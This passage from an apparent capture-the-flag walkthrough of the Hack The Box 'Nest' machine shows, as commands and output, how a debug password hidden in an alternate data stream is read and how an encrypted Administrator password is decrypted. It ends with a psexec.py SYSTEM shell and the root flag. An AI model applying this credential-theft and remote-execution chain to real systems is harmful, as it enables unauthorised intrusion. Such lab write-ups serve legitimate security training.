→ ls -lash Debug\ Mode\ Password.txt:Password
|
||
4.0K -rw-r--r-- 1 nothing nothing 15 May 28 13:05 'Debug Mode Password.txt:Password'
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ cat Debug\ Mode\ Password.txt:Password
|
||
WBQ201953D8w
|
||
|
||
|
||
We're going to save it because we may need it later on. Let's download the xml file and binary from teh HQK folder:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest]
|
||
→ smbclient -U c.smith //10.10.10.178/Users
|
||
Enter WORKGROUP\c.smith's password: xRxRxPANCAK3SxRxRx
|
||
Try "help" to get a list of possible commands.
|
||
|
||
smb: \> cd c.smith
|
||
|
||
smb: \c.smith\> cd "HQK Reporting"
|
||
|
||
smb: \c.smith\HQK Reporting\> ls
|
||
. D 0 Fri Aug 9 01:06:17 2019
|
||
.. D 0 Fri Aug 9 01:06:17 2019
|
||
AD Integration Module D 0 Fri Aug 9 14:18:42 2019
|
||
Debug Mode Password.txt A 0 Fri Aug 9 01:08:17 2019
|
||
HQK_Config_Backup.xml A 249 Fri Aug 9 01:09:05 2019
|
||
|
||
10485247 blocks of size 4096. 6543251 blocks available
|
||
|
||
smb: \c.smith\HQK Reporting\> get HQK_Config_Backup.xml
|
||
getting file \c.smith\HQK Reporting\HQK_Config_Backup.xml of size 249 as HQK_Config_Backup.xml (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
|
||
|
||
smb: \c.smith\HQK Reporting\> cd "AD Integration Module"
|
||
|
||
smb: \c.smith\HQK Reporting\AD Integration Module\> ls
|
||
. D 0 Fri Aug 9 14:18:42 2019
|
||
.. D 0 Fri Aug 9 14:18:42 2019
|
||
HqkLdap.exe A 17408 Thu Aug 8 01:41:16 2019
|
||
|
||
10485247 blocks of size 4096. 6543251 blocks available
|
||
|
||
smb: \c.smith\HQK Reporting\AD Integration Module\> get HqkLdap.exe
|
||
getting file \c.smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HqkLdap.exe (98.8 KiloBytes/sec) (average 56.5 KiloBytes/sec)
|
||
|
||
|
||
So here's what the xml file has:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest]
|
||
→ cat HQK_Config_Backup.xml
|
||
<****?xml version="1.0"?> <****ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <****Port>4386 <****/Port> <****QueryDirectory>C:\Program Files\HQK\ALL QUERIES <****/QueryDirectory> <****/ServiceSettings>%
|
||
|
||
So here we get the configuration file for the service running on port 4386, let's try to connect to it using telnet:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest]
|
||
→ telnet 10.10.10.178 4386
|
||
Trying 10.10.10.178...
|
||
Connected to 10.10.10.178.
|
||
Escape character is '^]'.
|
||
|
||
HQK Reporting Service V1.2
|
||
|
||
>help
|
||
|
||
This service allows users to run queries against databases using the legacy HQK format
|
||
|
||
--- AVAILABLE COMMANDS ---
|
||
|
||
LIST
|
||
SETDIR <****Directory_Name>
|
||
RUNQUERY <****Query_ID>
|
||
DEBUG <****Password>
|
||
HELP <****Command>
|
||
|
||
>LIST
|
||
|
||
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
|
||
|
||
QUERY FILES IN CURRENT DIRECTORY
|
||
|
||
[DIR] COMPARISONS
|
||
[1] Invoices (Ordered By Customer)
|
||
[2] Products Sold (Ordered By Customer)
|
||
[3] Products Sold In Last 30 Days
|
||
|
||
Current Directory: ALL QUERIES
|
||
>1
|
||
|
||
Unrecognised command
|
||
>RUNQUERY 1
|
||
|
||
Invalid database configuration found. Please contact your system administrator
|
||
|
||
Invalid database configuration found. Please contact your system administrator
|
||
>SETDIR C:\
|
||
|
||
Current directory set to C:
|
||
>DEBUG
|
||
|
||
Invalid number of arguments specified
|
||
>DEBUG WBQ201953D8w
|
||
|
||
Debug mode enabled. Use the HELP command to view additional commands that are now available
|
||
|
||
And here you see that we needed the password from earlier to properly use the DEBUG command, now from here we get a few additional commands:
|
||
|
||
|
||
>HELP
|
||
|
||
This service allows users to run queries against databases using the legacy HQK format
|
||
|
||
--- AVAILABLE COMMANDS ---
|
||
|
||
LIST
|
||
SETDIR <****Directory_Name>
|
||
RUNQUERY <****Query_ID>
|
||
DEBUG <****Password>
|
||
HELP <****Command>
|
||
SERVICE
|
||
SESSION
|
||
SHOWQUERY <****Query_ID>
|
||
|
||
We get access to the commands named **SERVICE** , **SESSION** , **SHOWQUERY**
|
||
|
||
|
||
>SERVICE
|
||
|
||
--- HQK REPORTING SERVER INFO ---
|
||
|
||
Version: 1.2.0.0
|
||
Server Hostname: HTB-NEST
|
||
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
|
||
Server Running As: Service_HQK
|
||
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES
|
||
|
||
|
||
Here we get hinted towards the **C:\Program Files\HQK\** directory:
|
||
|
||
|
||
>SETDIR C:\Program Files\HQK
|
||
|
||
Current directory set to HQK
|
||
>LIST
|
||
|
||
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
|
||
|
||
QUERY FILES IN CURRENT DIRECTORY
|
||
|
||
[DIR] ALL QUERIES
|
||
[DIR] LDAP
|
||
[DIR] Logs
|
||
[1] HqkSvc.exe
|
||
[2] HqkSvc.InstallState
|
||
[3] HQK_Config.xml
|
||
|
||
Current Directory: HQK
|
||
|
||
|
||
|
||
Let's take a look at the LDAP directory:
|
||
|
||
|
||
>SETDIR LDAP
|
||
|
||
Current directory set to LDAP
|
||
>LIST
|
||
|
||
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
|
||
|
||
QUERY FILES IN CURRENT DIRECTORY
|
||
|
||
[1] HqkLdap.exe
|
||
[2] Ldap.conf
|
||
|
||
Current Directory: LDAP
|
||
|
||
>SHOWQUERY 2
|
||
|
||
Domain=nest.local
|
||
Port=389
|
||
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
|
||
User=Administrator
|
||
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
|
||
|
||
|
||
|
||
And here we get credentials! Although this is still an encrypted password for the Administrator User, Just like before we need the following arguements to decrypt it: **passphrase / saltvalue / passwordIterations / initVector / keySize** And to find those, we need to decompile the **HqkLdap.exe** binary and we can do it using [ILSpy](https://github.com/icsharpcode/ILSpy).
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/23 ] [~/HTB/Nest]
|
||
→ git clone https://github.com/icsharpcode/ILSpy
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/23 ] [HTB/Nest/ILSpy]
|
||
→ git submodule update --init --recursive
|
||
Submodule 'ILSpy-tests' (https://github.com/icsharpcode/ILSpy-tests) registered for path 'ILSpy-tests'
|
||
Cloning into '/home/nothing/HTB/Nest/ILSpy/ILSpy-tests'...
|
||
Submodule path 'ILSpy-tests': checked out 'aa8f1197e6a513bcc10bcc38ec7d2143d27a2246'
|
||
|
||
|
||
|
||
And from there, you decompile the **HqkLdap.exe** binary file, and get the following parameters from the reversed code:
|
||
|
||
|
||
#passPhrase = **667912**
|
||
#saltValue = **1313Rf99**
|
||
#passwordIterations = **3**
|
||
#initVector = **1L1SA61493DRV53Z**
|
||
#keySize = **256**
|
||
|
||
|
||
|
||
Just like before we change the decrypt.cs code to have the aforementionned values, and we decrypt the password:
|
||
|
||

|
||
|
||
Then we compile it, and run it:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ mcs decrypt.cs
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest]
|
||
→ ./decrypt.exe
|
||
Plaintext: XtH4nkS4Pl4y1nGX
|
||
|
||
|
||
And that's it ! We managed to get the Administrator password. So let's get onto the box using psexec.py:
|
||
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest]
|
||
→ locate psexec.py
|
||
/home/nothing/HTB/Forest/impacket/build/scripts-3.9/psexec.py
|
||
/home/nothing/HTB/Forest/impacket/examples/psexec.py
|
||
/usr/local/bin/psexec.py
|
||
/usr/local/lib/python3.9/dist-packages/impacket-0.9.23.dev1+20210519.170900.2f5c2476-py3.9.egg/EGG-INFO/scripts/psexec.py
|
||
/usr/share/doc/python3-impacket/examples/psexec.py
|
||
/usr/share/powershell-empire/lib/modules/powershell/lateral_movement/invoke_psexec.py
|
||
/usr/share/set/src/fasttrack/psexec.py
|
||
|
||
[ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest]
|
||
→ python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
|
||
Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation
|
||
|
||
[*] Requesting shares on 10.10.10.178.....
|
||
[*] Found writable share ADMIN$
|
||
[*] Uploading file xKwELIZm.exe
|
||
[*] Opening SVCManager on 10.10.10.178.....
|
||
[*] Creating service mWKI on 10.10.10.178.....
|
||
[*] Starting service mWKI.....
|
||
[!] Press help for extra shell commands
|
||
Microsoft Windows [Version 6.1.7601]
|
||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||
|
||
C:\Windows\system32>systeminfo
|
||
|
||
Host Name: HTB-NEST
|
||
OS Name: Microsoft Windows Server 2008 R2 Standard
|
||
OS Version: 6.1.7601 Service Pack 1 Build 7601
|
||
OS Manufacturer: Microsoft Corporation
|
||
OS Configuration: Standalone Server
|
||
OS Build Type: Multiprocessor Free
|
||
Registered Owner: Windows User
|
||
Registered Organization:
|
||
Product ID: 00477-179-0000007-84361
|
||
Original Install Date: 8/5/2019, 9:22:30 PM
|
||
System Boot Time: 5/28/2021, 7:32:37 AM
|
||
System Manufacturer: VMware, Inc.
|
||
System Model: VMware Virtual Platform
|
||
System Type: x64-based PC
|
||
Processor(s): 1 Processor(s) Installed.
|
||
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
|
||
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
|
||
Windows Directory: C:\Windows
|
||
System Directory: C:\Windows\system32
|
||
Boot Device: \Device\HarddiskVolume1
|
||
System Locale: en-us;English (United States)
|
||
Input Locale: en-us;English (United States)
|
||
Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London
|
||
Total Physical Memory: 2,047 MB
|
||
Available Physical Memory: 1,546 MB
|
||
Virtual Memory: Max Size: 4,095 MB
|
||
Virtual Memory: Available: 3,653 MB
|
||
Virtual Memory: In Use: 442 MB
|
||
Page File Location(s): C:\pagefile.sys
|
||
Domain: WORKGROUP
|
||
Logon Server: N/A
|
||
Hotfix(s): 68 Hotfix(s) Installed.
|
||
Network Card(s): 1 NIC(s) Installed.
|
||
[01]: Intel(R) PRO/1000 MT Network Connection
|
||
Connection Name: Local Area Connection
|
||
DHCP Enabled: No
|
||
IP address(es)
|
||
[01]: 10.10.10.178
|
||
[02]: fe80::f144:55c1:5e8a:4cbd
|
||
[03]: dead:beef::f144:55c1:5e8a:4cbd
|
||
C:\Windows\system32>cd C:\Users\Administrator\Desktop
|
||
|
||
C:\Users\Administrator\Desktop>type root.txt
|
||
65XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
And that's it! We managed to get the root flag.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||

|
||
|